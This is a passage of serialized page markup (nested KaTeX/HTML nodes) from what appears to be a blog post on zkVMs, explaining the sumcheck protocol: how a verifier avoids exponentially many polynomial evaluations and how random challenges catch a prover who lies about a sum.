",{"type":23,"tag":154,"props":110476,"children":110478},{"className":110477},[500,501],[110479],{"type":23,"tag":504,"props":110480,"children":110482},{"className":110481},[507],[110483],{"type":23,"tag":504,"props":110484,"children":110486},{"className":110485,"ariaHidden":513},[512],[110487],{"type":23,"tag":504,"props":110488,"children":110490},{"className":110489},[518],[110491,110495,110500,110505,110510,110514,110519],{"type":23,"tag":504,"props":110492,"children":110494},{"className":110493,"style":2160},[523],[],{"type":23,"tag":504,"props":110496,"children":110498},{"className":110497},[600],[110499],{"type":29,"value":78683},{"type":23,"tag":504,"props":110501,"children":110503},{"className":110502},[529],[110504],{"type":29,"value":708},{"type":23,"tag":504,"props":110506,"children":110508},{"className":110507},[2267],[110509],{"type":29,"value":2270},{"type":23,"tag":504,"props":110511,"children":110513},{"className":110512,"style":2274},[537],[],{"type":23,"tag":504,"props":110515,"children":110517},{"className":110516},[529],[110518],{"type":29,"value":826},{"type":23,"tag":504,"props":110520,"children":110522},{"className":110521},[930],[110523,110528],{"type":23,"tag":504,"props":110524,"children":110526},{"className":110525},[930],[110527],{"type":29,"value":36196},{"type":23,"tag":504,"props":110529,"children":110531},{"className":110530},[666],[110532],{"type":23,"tag":504,"props":110533,"children":110535},{"className":110534},[671],[110536],{"type":23,"tag":504,"props":110537,"children":110539},{"className":110538},[677],[110540],{"type":23,"tag":504,"props":110541,"children":110544},{"className":110542,"style":110543},[682],"height:0.6644em;",[110545],{"type":23,"tag":504,"props":110546,"children":110547},{"style":6099},[110548,110552],{"type":23,"tag":504,"props":110549,"children":110551},{"className":110550,"style":693},[692],[],{"type":23,"tag":504,"props":110553,"children":110555},{"className":110554},[698,699,700,701],[110556],{"type":23,"tag":504,"props":110557,"children":110559},{"className":110558},[529,530,701],[110560],{"type":29,"value":596},{"type":29,"value":110562},"), i.e the claim:",{"type":23,"tag":32,"props":110564,"children":110565},{},[110566],{"type":23,"tag":154,"props":110567,"children":110569},{"className":110568},[500,501],[110570],{"type":23,"tag":504,"props":110571,"children":110573},{"className":110572},[507],[110574],{"type":23,"tag":504,"props":110575,"children":110577},{"className":110576,"ariaHidden":513},[512],[110578,110604],{"type":23,"tag":504,"props":110579,"children":110581},{"className":110580},[518],[110582,110586,110591,110595,110600],{"type":23,"tag":504,"props":110583,"children":110585},{"className":110584,"style":23635},[523],[],{"type":23,"tag":504,"props":110587,"children":110589},{"className":110588,"style":879},[529,530],[110590],{"type":29,"value":882},{"type":23,"tag":504,"props":110592,"children":110594},{"className":110593,"style":538},[537],[],{"type":23,"tag":504,"props":110596,"children":110598},{"className":110597},[543],[110599],{"type":29,"value":546},{"type":23,"tag":504,"props":110601,"children":110603},{"className":110602,"style":538},[537],[],{"type":23,"tag":504,"props":110605,"children":110607},{"className":110606},[518],[110608,110612,110762,110766,110909,110913,110920,110924,111068,111072,111078,111083,111140,111145,111149,111206,111211,111215,111221,111225,111230,111234,111292],{"type":23,"tag":504,"props":110609,"children":110611},{"className":110610,"style":23668},[523],[],{"type":23,"tag":504,"props":110613,"children":110615},{"className":110614},[23673],[110616,110622],{"type":23,"tag":504,"props":110617,"children":110619},{"className":110618,"style":23680},[23673,23678,23679],[110620],{"type":29,"value":110621},"∑",{"type":23,"tag":504,"props":110623,"children":110625},{"className":110624},[666],[110626],{"type":23,"tag":504,"props":110627,"children":110629},{"className":110628},[671,672],[110630,110751],{"type":23,"tag":504,"props":110631,"children":110633},{"className":110632},[677],[110634,110746],{"type":23,"tag":504,"props":110635,"children":110637},{"className":110636,"style":23699},[682],[110638],{"type":23,"tag":504,"props":110639,"children":110640},{"style":23703},[110641,110645],{"type":23,"tag":504,"props":110642,"children":110644},{"className":110643,"style":693},[692],[],{"type":23,"tag":504,"props":110646,"children":110648},{"className":110647},[698,699,700,701],[110649],{"type":23,"tag":504,"props":110650,"children":110652},{"className":110651},[529,701],[110653,110716,110721,110726,110731,110736,110741],{"type":23,"tag":504,"props":110654,"children":110656},{"className":110655},[529,701],[110657,110662],{"type":23,"tag":504,"props":110658,"children":110660},{"className":110659},[529,530,701],[110661],{"type":29,"value":21327},{"type":23,"tag":504,"props":110663,"children":110665},{"className":110664},[666],[110666],{"type":23,"tag":504,"props":110667,"children":110669},{"className":110668},[671,672],[110670,110704],{"type":23,"tag":504,"props":110671,"children":110673},{"className":110672},[677],[110674,110699],{"type":23,"tag":504,"props":110675,"children":110678},{"className":110676,"style":110677},[682],"height:0.3173em;",[110679],{"type":23,"tag":504,"props":110680,"children":110682},{"style":110681},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[110683,110688],{"type":23,"tag":504,"props":110684,"children":110687},{"className":110685,"style":110686},[692],"height:2.5em;",[],{"type":23,"tag":504,"props":110689,"children":110693},{"className":110690},[698,110691,110692,701],"reset-size3","size1",[110694],{"type":23,"tag":504,"props":110695,"children":110697},{"className":110696},[529,701],[110698],{"type":29,"value":826},{"type":23,"tag":504,"props":110700,"children":110702},{"className":110701},[712],[110703],{"type":29,"value":715},{"type":23,"tag":504,"props":110705,"children":110707},{"className":110706},[677],[110708],{"type":23,"tag":504,"props":110709,"children":110712},{"className":110710,"style":110711},[682],"height:0.143em;",[110713],{"type":23,"tag":504,"props":110714,"children":110715},{},[],{"type":23,"tag":504,"props":110717,"children":110719},{"className":110718},[543,701],[110720],{"type":29,"value":23742},{"type":23,"tag":504,"props":110722,"children":110724},{"className":110723},[600,701],[110725],{"type":29,"value":78683},{"type":23,"tag":504,"props":110727,"children":110729},{"className":110728},[529,701],[110730],{"type":29,"value":708},{"type":23,"tag":504,"props":110732,"children":110734},{"className":110733},[2267,701],[110735],{"type":29,"value":2270},{"type":23,"tag":504,"props":110737,"children":110739},{"className":110738},[529,701],[110740],{"type":29,"value":826},{"type":23,"tag":504,"props":110742,"children":110744},{"className":110743},[930,701],[110745],{"type":29,"value":36196},{"type":23,"tag":504,"props":110747,"children":110749},{"className":110748},[712],[110750],{"type":29,"value":715},{"type":23,"tag":504,"props":110752,"children":110754},{"className":110753},[677],[110755],{"type":23,"tag":504,"props":110756,"children":110758},{"className":110757,"style":23798},[682],[110759],{"type":23,"tag":504,"props":110760,"children":110761},{},[],{"type":23,"tag":504,"props":110763,"children":110765},{"className":110764,"style":2274},[537],[],{"type":23,"tag":504,"props":110767,"children":110769},{"className":110768},[23673],[110770,110775],{"type":23,"tag":504,"props":110771,"children":110773},{"className":110772,"style":23680},[23673,23678,23679],[110774],{"type":29,"value":110621},{"type":23,"tag":504,"props":110776,"children":110778},{"className":110777},[666],[110779],{"type":23,"tag":504,"props":110780,"children":110782},{"className":110781},[671,672],[110783,110898],{"type":23,"tag":504,"props":110784,"children":110786},{"className":110785},[677],[110787,110893],{"type":23,"tag":504,"props":110788,"children":110790},{"className":110789,"style":23699},[682],[110791],{"type":23,"tag":504,"props":110792,"children":110793},{"style":23703},[110794,110798],{"type":23,"tag":504,"props":110795,"children":110797},{"className":110796,"style":693},[692],[],{"type":23,"tag":504,"props":110799,"children":110801},{"className":110800},[698,699,700,701],[110802],{"type":23,"tag":504,"props":110803,"children":110805},{"className":110804},[529,701],[110806,110863,110868,110873,110878,110883,110888],{"type":23,"tag":504,"props":110807,"children":110809},{"className":110808},[529,701],[110810,110815],{"type":23,"tag":504,"props":110811,"children":110813},{"className":110812},[529,530,701],[110814],{"type":29,"value":21327},{"type":23,"tag":504,"props":110816,"children":110818},{"className":110817},[666],[110819],{"type":23,"tag":504,"props":110820,"children":110822},{"className":110821},[671,672],[110823,110852],{"type":23,"tag":504,"props":110824,"children":110826},{"className":110825},[677],[110827,110847],{"type":23,"tag":504,"props":110828,"children":110830},{"className":110829,"style":110677},[682],[110831],{"type":23,"tag":504,"props":110832,"children":110833},{"style":110681},[110834,110838],{"type":23,"tag":504,"props":110835,"children":110837},{"className":110836,"style":110686},[692],[],{"type":23,"tag":504,"props":110839,"children":110841},{"className":110840},[698,110691,110692,701],[110842],{"type":23,"tag":504,"props":110843,"children":110845},{"className":110844},[529,701],[110846],{"type":29,"value":5164},{"type":23,"tag":504,"props":110848,"children":110850},{"className":110849},[712],[110851],{"type":29,"value":715},{"type":23,"tag":504,"props":110853,"children":110855},{"className":110854},[677],[110856],{"type":23,"tag":504,"props":110857,"children":110859},{"className":110858,"style":110711},[682],[110860],{"type":23,"tag":504,"props":110861,"children":110862},{},[],{"type":23,"tag":504,"props":110864,"children":110866},{"className":110865},[543,701],[110867],{"type":29,"value":23742},{"type":23,"tag":504,"props":110869,"children":110871},{"className":110870},[600,701],[110872],{"type":29,"value":78683},{"type":23,"tag":504,"props":110874,"children":110876},{"className":110875},[529,701],[110877],{"type":29,"value":708},{"type":23,"tag":504,"props":110879,"children":110881},{"className":110880},[2267,701],[110882],{"type":29,"value":2270},{"type":23,"tag":504,"props":110884,"children":110886},{"className":110885},[529,701],[110887],{"type":29,"value":826},{"type":23,"tag":504,"props":110889,"children":110891},{"className":110890},[930,701],[110892],{"type":29,"value":36196},{"type":23,"tag":504,"props":110894,"children":110896},{"className":110895},[712],[110897],{"type":29,"value":715},{"type":23,"tag":504,"props":110899,"children":110901},{"className":110900},[677],[110902],{"type":23,"tag":504,"props":110903,"children":110905},{"className":110904,"style":23798},[682],[110906],{"type":23,"tag":504,"props":110907,"children":110908},{},[],{"type":23,"tag":504,"props":110910,"children":110912},{"className":110911,"style":2274},[537],[],{"type":23,"tag":504,"props":110914,"children":110917},{"className":110915},[110916],"minner",[110918],{"type":29,"value":110919},"⋯",{"type":23,"tag":504,"props":110921,"children":110923},{"className":110922,"style":2274},[537],[],{"type":23,"tag":504,"props":110925,"children":110927},{"className":110926},[23673],[110928,110933],{"type":23,"tag":504,"props":110929,"children":110931},{"className":110930,"style":23680},[23673,23678,23679],[110932],{"type":29,"value":110621},{"type":23,"tag":504,"props":110934,"children":110936},{"className":110935},[666],[110937],{"type":23,"tag":504,"props":110938,"children":110940},{"className":110939},[671,672],[110941,111057],{"type":23,"tag":504,"props":110942,"children":110944},{"className":110943},[677],[110945,111052],{"type":23,"tag":504,"props":110946,"children":110948},{"className":110947,"style":23699},[682],[110949],{"type":23,"tag":504,"props":110950,"children":110951},{"style":23703},[110952,110956],{"type":23,"tag":504,"props":110953,"children":110955},{"className":110954,"style":693},[692],[],{"type":23,"tag":504,"props":110957,"children":110959},{"className":110958},[698,699,700,701],[110960],{"type":23,"tag":504,"props":110961,"children":110963},{"className":110962},[529,701],[110964,111022,111027,111032,111037,111042,111047],{"type":23,"tag":504,"props":110965,"children":110967},{"className":110966},[529,701],[110968,110973],{"type":23,"tag":504,"props":110969,"children":110971},{"className":110970},[529,530,701],[110972],{"type":29,"value":21327},{"type":23,"tag":504,"props":110974,"children":110976},{"className":110975},[666],[110977],{"type":23,"tag":504,"props":110978,"children":110980},{"className":110979},[671,672],[110981,111011],{"type":23,"tag":504,"props":110982,"children":110984},{"className":110983},[677],[110985,111006],{"type":23,"tag":504,"props":110986,"children":110989},{"className":110987,"style":110988},[682],"height:0.1645em;",[110990],{"type":23,"tag":504,"props":110991,"children":110992},{"style":110681},[110993,110997],{"type":23,"tag":504,"props":110994,"children":110996},{"className":110995,"style":110686},[692],[],{"type":23,"tag":504,"props":110998,"children":111000},{"className":110999},[698,110691,110692,701],[111001],{"type":23,"tag":504,"props":111002,"children":111004},{"className":111003},[529,530,701],[111005],{"type":29,"value":596},{"type":23,"tag":504,"props":111007,"children":111009},{"className":111008},[712],[111010],{"type":29,"value":715},{"type":23,"tag":504,"props":111012,"children":111014},{"className":111013},[677],[111015],{"type":23,"tag":504,"props":111016,"children":111018},{"className":111017,"style":110711},[682],[111019],{"type":23,"tag":504,"props":111020,"children":111021},{},[],{"type":23,"tag":504,"props":111023,"children":111025},{"className":111024},[543,701],[111026],{"type":29,"value":23742},{"type":23,"tag":504,"props":111028,"children":111030},{"className":111029},[600,701],[111031],{"type":29,"value":78683},{"type":23,"tag":504,"props":111033,"children":111035},{"className":111034},[529,701],[111036],{"type":29,"value":708},{"type":23,"tag":504,"props":111038,"children":111040},{"className":111039},[2267,701],[111041],{"type":29,"value":2270},{"type":23,"tag":504,"props":111043,"children":111045},{"className":111044},[529,701],[111046],{"type":29,"value":826},{"type":23,"tag":504,"props":111048,"children":111050},{"className":111049},[930,701],[111051],{"type":29,"value":36196},{"type":23,"tag":504,"props":111053,"children":111055},{"className":111054},[712],[111056],{"type":29,"value":715},{"type":23,"tag":504,"props":111058,"children":111060},{"className":111059},[677],[111061],{"type":23,"tag":504,"props":111062,"children":111064},{"className":111063,"style":23798},[682],[111065],{"type":23,"tag":504,"props":111066,"children":111067},{},[],{"type":23,"tag":504,"props":111069,"children":111071},{"className":111070,"style":2274},[537],[],{"type":23,"tag":504,"props":111073,"children":111075},{"className":111074,"style":1136},[529,530],[111076],{"type":29,"value":111077},"g",{"type":23,"tag":504,"props":111079,"children":111081},{"className":111080},[600],[111082],{"type":29,"value":603},{"type":23,"tag":504,"props":111084,"children":111086},{"className":111085},[529],[111087,111092],{"type":23,"tag":504,"props":111088,"children":111090},{"className":111089},[529,530],[111091],{"type":29,"value":21327},{"type":23,"tag":504,"props":111093,"children":111095},{"className":111094},[666],[111096],{"type":23,"tag":504,"props":111097,"children":111099},{"className":111098},[671,672],[111100,111129],{"type":23,"tag":504,"props":111101,"children":111103},{"className":111102},[677],[111104,111124],{"type":23,"tag":504,"props":111105,"children":111107},{"className":111106,"style":683},[682],[111108],{"type":23,"tag":504,"props":111109,"children":111110},{"style":687},[111111,111115],{"type":23,"tag":504,"props":111112,"children":111114},{"className":111113,"style":693},[692],[],{"type":23,"tag":504,"props":111116,"children":111118},{"className":111117},[698,699,700,701],[111119],{"type":23,"tag":504,"props":111120,"children":111122},{"className":111121},[529,701],[111123],{"type":29,"value":826},{"type":23,"tag":504,"props":111125,"children":111127},{"className":111126},[712],[111128],{"type":29,"value":715},{"type":23,"tag":504,"props":111130,"children":111132},{"className":111131},[677],[111133],{"type":23,"tag":504,"props":111134,"children":111136},{"className":111135,"style":723},[682],[111137],{"type":23,"tag":504,"props":111138,"children":111139},{},[],{"type":23,"tag":504,"props":111141,"children":111143},{"className":111142},[2267],[111144],{"type":29,"value":2270},{"type":23,"tag":504,"props":111146,"children":111148},{"className":111147,"style":2274},[537],[],{"type":23,"tag":504,"props":111150,"children":111152},{"className":111151},[529],[111153,111158],{"type":23,"tag":504,"props":111154,"children":111156},{"className":111155},[529,530],[111157],{"type":29,"value":21327},{"type":23,"tag":504,"props":111159,"children":111161},{"className":111160},[666],[111162],{"type":23,"tag":504,"props":111163,"children":111165},{"className":111164},[671,672],[111166,111195],{"type":23,"tag":504,"props":111167,"children":111169},{"className":111168},[677],[111170,111190],{"type":23,"tag":504,"props":111171,"children":111173},{"className":111172,"style":683},[682],[111174],{"type":23,"tag":504,"props":111175,"children":111176},{"style":687},[111177,111181],{"type":23,"tag":504,"props":111178,"children":111180},{"className":111179,"style":693},[692],[],{"type":23,"tag":504,"props":111182,"children":111184},{"className":111183},[698,699,700,701],[111185],{"type":23,"tag":504,"props":111186,"children":111188},{"className":111187},[529,701],[111189],{"type":29,"value":5164},{"type":23,"tag":504,"props":111191,"children":111193},{"className":111192},[712],[111194],{"type":29,"value":715},{"type":23,"tag":504,"props":111196,"children":111198},{"className":111197},[677],[111199],{"type":23,"tag":504,"props":111200,"children":111202},{"className":111201,"style":723},[682],[111203],{"type":23,"tag":504,"props":111204,"children":111205},{},[],{"type":23,"tag":504,"props":111207,"children":111209},{"className":111208},[2267],[111210],{"type":29,"value":2270},{"type":23,"tag":504,"props":111212,"children":111214},{"className":111213,"style":2274},[537],[],{"type":23,"tag":504,"props":111216,"children":111218},{"className":111217},[110916],[111219],{"type":29,"value":111220},"…",{"type":23,"tag":504,"props":111222,"children":111224},{"className":111223,"style":2274},[537],[],{"type":23,"tag":504,"props":111226,"children":111228},{"className":111227},[2267],[111229],{"type":29,"value":2270},{"type":23,"tag":504,"props":111231,"children":111233},{"className":111232,"style":2274},[537],[],{"type":23,"tag":504,"props":111235,"children":111237},{"className":111236},[529],[111238,111243],{"type":23,"tag":504,"props":111239,"children":111241},{"className":111240},[529,530],[111242],{"type":29,"value":21327},{"type":23,"tag":504,"props":111244,"children":111246},{"className":111245},[666],[111247],{"type":23,"tag":504,"props":111248,"children":111250},{"className":111249},[671,672],[111251,111281],{"type":23,"tag":504,"props":111252,"children":111254},{"className":111253},[677],[111255,111276],{"type":23,"tag":504,"props":111256,"children":111259},{"className":111257,"style":111258},[682],"height:0.1514em;",[111260],{"type":23,"tag":504,"props":111261,"children":111262},{"style":687},[111263,111267],{"type":23,"tag":504,"props":111264,"children":111266},{"className":111265,"style":693},[692],[],{"type":23,"tag":504,"props":111268,"children":111270},{"className":111269},[698,699,700,701],[111271],{"type":23,"tag":504,"props":111272,"children":111274},{"className":111273},[529,530,701],[111275],{"type":29,"value":596},{"type":23,"tag":504,"props":111277,"children":111279},{"className":111278},[712],[111280],{"type":29,"value":715},{"type":23,"tag":504,"props":111282,"children":111284},{"className":111283},[677],[111285],{"type":23,"tag":504,"props":111286,"children":111288},{"className":111287,"style":723},[682],[111289],{"type":23,"tag":504,"props":111290,"children":111291},{},[],{"type":23,"tag":504,"props":111293,"children":111295},{"className":111294},[930],[111296],{"type":29,"value":933},{"type":23,"tag":32,"props":111298,"children":111299},{},[111300,111302,111363],{"type":29,"value":111301},"The naive approach would be for the verifier to compute all ",{"type":23,"tag":154,"props":111303,"children":111305},{"className":111304},[500,501],[111306],{"type":23,"tag":504,"props":111307,"children":111309},{"className":111308},[507],[111310],{"type":23,"tag":504,"props":111311,"children":111313},{"className":111312,"ariaHidden":513},[512],[111314],{"type":23,"tag":504,"props":111315,"children":111317},{"className":111316},[518],[111318,111322],{"type":23,"tag":504,"props":111319,"children":111321},{"className":111320,"style":110543},[523],[],{"type":23,"tag":504,"props":111323,"children":111325},{"className":111324},[529],[111326,111331],{"type":23,"tag":504,"props":111327,"children":111329},{"className":111328},[529],[111330],{"type":29,"value":5164},{"type":23,"tag":504,"props":111332,"children":111334},{"className":111333},[666],[111335],{"type":23,"tag":504,"props":111336,"children":111338},{"className":111337},[671],[111339],{"type":23,"tag":504,"props":111340,"children":111342},{"className":111341},[677],[111343],{"type":23,"tag":504,"props":111344,"children":111346},{"className":111345,"style":110543},[682],[111347],{"type":23,"tag":504,"props":111348,"children":111349},{"style":6099},[111350,111354],{"type":23,"tag":504,"props":111351,"children":111353},{"className":111352,"style":693},[692],[],{"type":23,"tag":504,"props":111355,"children":111357},{"className":111356},[698,699,700,701],[111358],{"type":23,"tag":504,"props":111359,"children":111361},{"className":111360},[529,530,701],[111362],{"type":29,"value":596},{"type":29,"value":111364}," evaluations. This is exponentially expensive.",{"type":23,"tag":32,"props":111366,"children":111367},{},[111368,111370,111375],{"type":29,"value":111369},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":23,"tag":38,"props":111371,"children":111372},{},[111373],{"type":29,"value":111374},"only one",{"type":29,"value":357},{"type":23,"tag":32,"props":111377,"children":111378},{},[111379],{"type":23,"tag":199,"props":111380,"children":111383},{"alt":111381,"src":111382},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":23,"tag":32,"props":111385,"children":111386},{},[111387,111389,111481,111483,111668,111670,111695,111697,111775,111777,111856],{"type":29,"value":111388},"In each round, the prover must send a polynomial ",{"type":23,"tag":154,"props":111390,"children":111392},{"className":111391},[500,501],[111393],{"type":23,"tag":504,"props":111394,"children":111396},{"className":111395},[507],[111397],{"type":23,"tag":504,"props":111398,"children":111400},{"className":111399,"ariaHidden":513},[512],[111401],{"type":23,"tag":504,"props":111402,"children":111404},{"className":111403},[518],[111405,111409,111466,111471,111476],{"type":23,"tag":504,"props":111406,"children":111408},{"className":111407,"style":2160},[523],[],{"type":23,"tag":504,"props":111410,"children":111412},{"className":111411},[529],[111413,111418],{"type":23,"tag":504,"props":111414,"children":111416},{"className":111415,"style":1136},[529,530],[111417],{"type":29,"value":111077},{"type":23,"tag":504,"props":111419,"children":111421},{"className":111420},[666],[111422],{"type":23,"tag":504,"props":111423,"children":111425},{"className":111424},[671,672],[111426,111455],{"type":23,"tag":504,"props":111427,"children":111429},{"className":111428},[677],[111430,111450],{"type":23,"tag":504,"props":111431,"children":111433},{"className":111432,"style":1180},[682],[111434],{"type":23,"tag":504,"props":111435,"children":111436},{"style":1184},[111437,111441],{"type":23,"tag":504,"props":111438,"children":111440},{"className":111439,"style":693},[692],[],{"type":23,"tag":504,"props":111442,"children":111444},{"className":111443},[698,699,700,701],[111445],{"type":23,"tag":504,"props":111446,"children":111448},{"className":111447},[529,530,701],[111449],{"type":29,"value":578},{"type":23,"tag":504,"props":111451,"children":111453},{"className":111452},[712],[111454],{"type":29,"value":715},{"type":23,"tag":504,"props":111456,"children":111458},{"className":111457},[677],[111459],{"type":23,"tag":504,"props":111460,"children":111462},{"className":111461,"style":723},[682],[111463],{"type":23,"tag":504,"props":111464,"children":111465},{},[],{"type":23,"tag":504,"props":111467,"children":111469},{"className":111468},[600],[111470],{"type":29,"value":603},{"type":23,"tag":504,"props":111472,"children":111474},{"className":111473,"style":2686},[529,530],[111475],{"type":29,"value":2689},{"type":23,"tag":504,"props":111477,"children":111479},{"className":111478},[930],[111480],{"type":29,"value":933},{"type":29,"value":111482}," such that ",{"type":23,"tag":154,"props":111484,"children":111486},{"className":111485},[500,501],[111487],{"type":23,"tag":504,"props":111488,"children":111490},{"className":111489},[507],[111491],{"type":23,"tag":504,"props":111492,"children":111494},{"className":111493,"ariaHidden":513},[512],[111495,111588],{"type":23,"tag":504,"props":111496,"children":111498},{"className":111497},[518],[111499,111503,111560,111565,111570,111575,111579,111584],{"type":23,"tag":504,"props":111500,"children":111502},{"className":111501,"style":2160},[523],[],{"type":23,"tag":504,"props":111504,"children":111506},{"className":111505},[529],[111507,111512],{"type":23,"tag":504,"props":111508,"children":111510},{"className":111509,"style":1136},[529,530],[111511],{"type":29,"value":111077},{"type":23,"tag":504,"props":111513,"children":111515},{"className":111514},[666],[111516],{"type":23,"tag":504,"props":111517,"children":111519},{"className":111518},[671,672],[111520,111549],{"type":23,"tag":504,"props":111521,"children":111523},{"className":111522},[677],[111524,111544],{"type":23,"tag":504,"props":111525,"children":111527},{"className":111526,"style":1180},[682],[111528],{"type":23,"tag":504,"props":111529,"children":111530},{"style":1184},[111531,111535],{"type":23,"tag":504,"props":111532,"children":111534},{"className":111533,"style":693},[692],[],{"type":23,"tag":504,"props":111536,"children":111538},{"className":111537},[698,699,700,701],[111539],{"type":23,"tag":504,"props":111540,"children":111542},{"className":111541},[529,530,701],[111543],{"type":29,"value":578},{"type":23,"tag":504,"props":111545,"children":111547},{"className":111546},[712],[111548],{"type":29,"value":715},{"type":23,"tag":504,"props":111550,"children":111552},{"className":111551},[677],[111553],{"type":23,"tag":504,"props":111554,"children":111556},{"className":111555,"style":723},[682],[111557],{"type":23,"tag":504,"props":111558,"children":111559},{},[],{"type":23,"tag":504,"props":111561,"children":111563},{"className":111562},[600],[111564],{"type":29,"value":603},{"type":23,"tag":504,"props":111566,"children":111568},{"className":111567},[529],[111569],{"type":29,"value":708},{"type":23,"tag":504,"props":111571,"children":111573},{"className":111572},[930],[111574],{"type":29,"value":933},{"type":23,"tag":504,"props":111576,"children":111578},{"className":111577,"style":1426},[537],[],{"type":23,"tag":504,"props":111580,"children":111582},{"className":111581},[1431],[111583],{"type":29,"value":6422},{"type":23,"tag":504,"props":111585,"children":111587},{"className":111586,"style":1426},[537],[],{"type":23,"tag":504,"props":111589,"children":111591},{"className":111590},[518],[111592,111596,111653,111658,111663],{"type":23,"tag":504,"props":111593,"children":111595},{"className":111594,"style":2160},[523],[],{"type":23,"tag":504,"props":111597,"children":111599},{"className":111598},[529],[111600,111605],{"type":23,"tag":504,"props":111601,"children":111603},{"className":111602,"style":1136},[529,530],[111604],{"type":29,"value":111077},{"type":23,"tag":504,"props":111606,"children":111608},{"className":111607},[666],[111609],{"type":23,"tag":504,"props":111610,"children":111612},{"className":111611},[671,672],[111613,111642],{"type":23,"tag":504,"props":111614,"children":111616},{"className":111615},[677],[111617,111637],{"type":23,"tag":504,"props":111618,"children":111620},{"className":111619,"style":1180},[682],[111621],{"type":23,"tag":504,"props":111622,"children":111623},{"style":1184},[111624,111628],{"type":23,"tag":504,"props":111625,"children":111627},{"className":111626,"style":693},[692],[],{"type":23,"tag":504,"props":111629,"children":111631},{"className":111630},[698,699,700,701],[111632],{"type":23,"tag":504,"props":111633,"children":111635},{"className":111634},[529,530,701],[111636],{"type":29,"value":578},{"type":23,"tag":504,"props":111638,"children":111640},{"className":111639},[712],[111641],{"type":29,"value":715},{"type":23,"tag":504,"props":111643,"children":111645},{"className":111644},[677],[111646],{"type":23,"tag":504,"props":111647,"children":111649},{"className":111648,"style":723},[682],[111650],{"type":23,"tag":504,"props":111651,"children":111652},{},[],{"type":23,"tag":504,"props":111654,"children":111656},{"className":111655},[600],[111657],{"type":29,"value":603},{"type":23,"tag":504,"props":111659,"children":111661},{"className":111660},[529],[111662],{"type":29,"value":826},{"type":23,"tag":504,"props":111664,"children":111666},{"className":111665},[930],[111667],{"type":29,"value":933},{"type":29,"value":111669}," equals the previous claim. If the prover is lying about the original sum ",{"type":23,"tag":154,"props":111671,"children":111673},{"className":111672},[500,501],[111674],{"type":23,"tag":504,"props":111675,"children":111677},{"className":111676},[507],[111678],{"type":23,"tag":504,"props":111679,"children":111681},{"className":111680,"ariaHidden":513},[512],[111682],{"type":23,"tag":504,"props":111683,"children":111685},{"className":111684},[518],[111686,111690],{"type":23,"tag":504,"props":111687,"children":111689},{"className":111688,"style":23635},[523],[],{"type":23,"tag":504,"props":111691,"children":111693},{"className":111692,"style":879},[529,530],[111694],{"type":29,"value":882},{"type":29,"value":111696},", then they must lie about ",{"type":23,"tag":154,"props":111698,"children":111700},{"className":111699},[500,501],[111701],{"type":23,"tag":504,"props":111702,"children":111704},{"className":111703},[507],[111705],{"type":23,"tag":504,"props":111706,"children":111708},{"className":111707,"ariaHidden":513},[512],[111709],{"type":23,"tag":504,"props":111710,"children":111712},{"className":111711},[518],[111713,111718],{"type":23,"tag":504,"props":111714,"children":111717},{"className":111715,"style":111716},[523],"height:0.625em;vertical-align:-0.1944em;",[],{"type":23,"tag":504,"props":111719,"children":111721},{"className":111720},[529],[111722,111727],{"type":23,"tag":504,"props":111723,"children":111725},{"className":111724,"style":1136},[529,530],[111726],{"type":29,"value":111077},{"type":23,"tag":504,"props":111728,"children":111730},{"className":111729},[666],[111731],{"type":23,"tag":504,"props":111732,"children":111734},{"className":111733},[671,672],[111735,111764],{"type":23,"tag":504,"props":111736,"children":111738},{"className":111737},[677],[111739,111759],{"type":23,"tag":504,"props":111740,"children":111742},{"className":111741,"style":1180},[682],[111743],{"type":23,"tag":504,"props":111744,"children":111745},{"style":1184},[111746,111750],{"type":23,"tag":504,"props":111747,"children":111749},{"className":111748,"style":693},[692],[],{"type":23,"tag":504,"props":111751,"children":111753},{"className":111752},[698,699,700,701],[111754],{"type":23,"tag":504,"props":111755,"children":111757},{"className":111756},[529,530,701],[111758],{"type":29,"value":578},{"type":23,"tag":504,"props":111760,"children":111762},{"className":111761},[712],[111763],{"type":29,"value":715},{"type":23,"tag":504,"props":111765,"children":111767},{"className":111766},[677],[111768],{"type":23,"tag":504,"props":111769,"children":111771},{"className":111770,"style":723},[682],[111772],{"type":23,"tag":504,"props":111773,"children":111774},{},[],{"type":29,"value":111776}," somewhere. But since the verifier picks a random ",{"type":23,"tag":154,"props":111778,"children":111780},{"className":111779},[500,501],[111781],{"type":23,"tag":504,"props":111782,"children":111784},{"className":111783},[507],[111785],{"type":23,"tag":504,"props":111786,"children":111788},{"className":111787,"ariaHidden":513},[512],[111789],{"type":23,"tag":504,"props":111790,"children":111792},{"className":111791},[518],[111793,111798],{"type":23,"tag":504,"props":111794,"children":111797},{"className":111795,"style":111796},[523],"height:0.5806em;vertical-align:-0.15em;",[],{"type":23,"tag":504,"props":111799,"children":111801},{"className":111800},[529],[111802,111807],{"type":23,"tag":504,"props":111803,"children":111805},{"className":111804,"style":624},[529,530],[111806],{"type":29,"value":1477},{"type":23,"tag":504,"props":111808,"children":111810},{"className":111809},[666],[111811],{"type":23,"tag":504,"props":111812,"children":111814},{"className":111813},[671,672],[111815,111845],{"type":23,"tag":504,"props":111816,"children":111818},{"className":111817},[677],[111819,111840],{"type":23,"tag":504,"props":111820,"children":111822},{"className":111821,"style":1180},[682],[111823],{"type":23,"tag":504,"props":111824,"children":111826},{"style":111825},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[111827,111831],{"type":23,"tag":504,"props":111828,"children":111830},{"className":111829,"style":693},[692],[],{"type":23,"tag":504,"props":111832,"children":111834},{"className":111833},[698,699,700,701],[111835],{"type":23,"tag":504,"props":111836,"children":111838},{"className":111837},[529,530,701],[111839],{"type":29,"value":578},{"type":23,"tag":504,"props":111841,"children":111843},{"className":111842},[712],[111844],{"type":29,"value":715},{"type":23,"tag":504,"props":111846,"children":111848},{"className":111847},[677],[111849],{"type":23,"tag":504,"props":111850,"children":111852},{"className":111851,"style":723},[682],[111853],{"type":23,"tag":504,"props":111854,"children":111855},{},[],{"type":29,"value":111857},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":23,"tag":20944,"props":111859,"children":111861},{"id":111860},"the-compression-trick",[111862],{"type":29,"value":111863},"The Compression Trick",{"type":23,"tag":32,"props":111865,"children":111866},{},[111867,111869,112019,112021,112301],{"type":29,"value":111868},"For degree-1 (multilinear) polynomials, 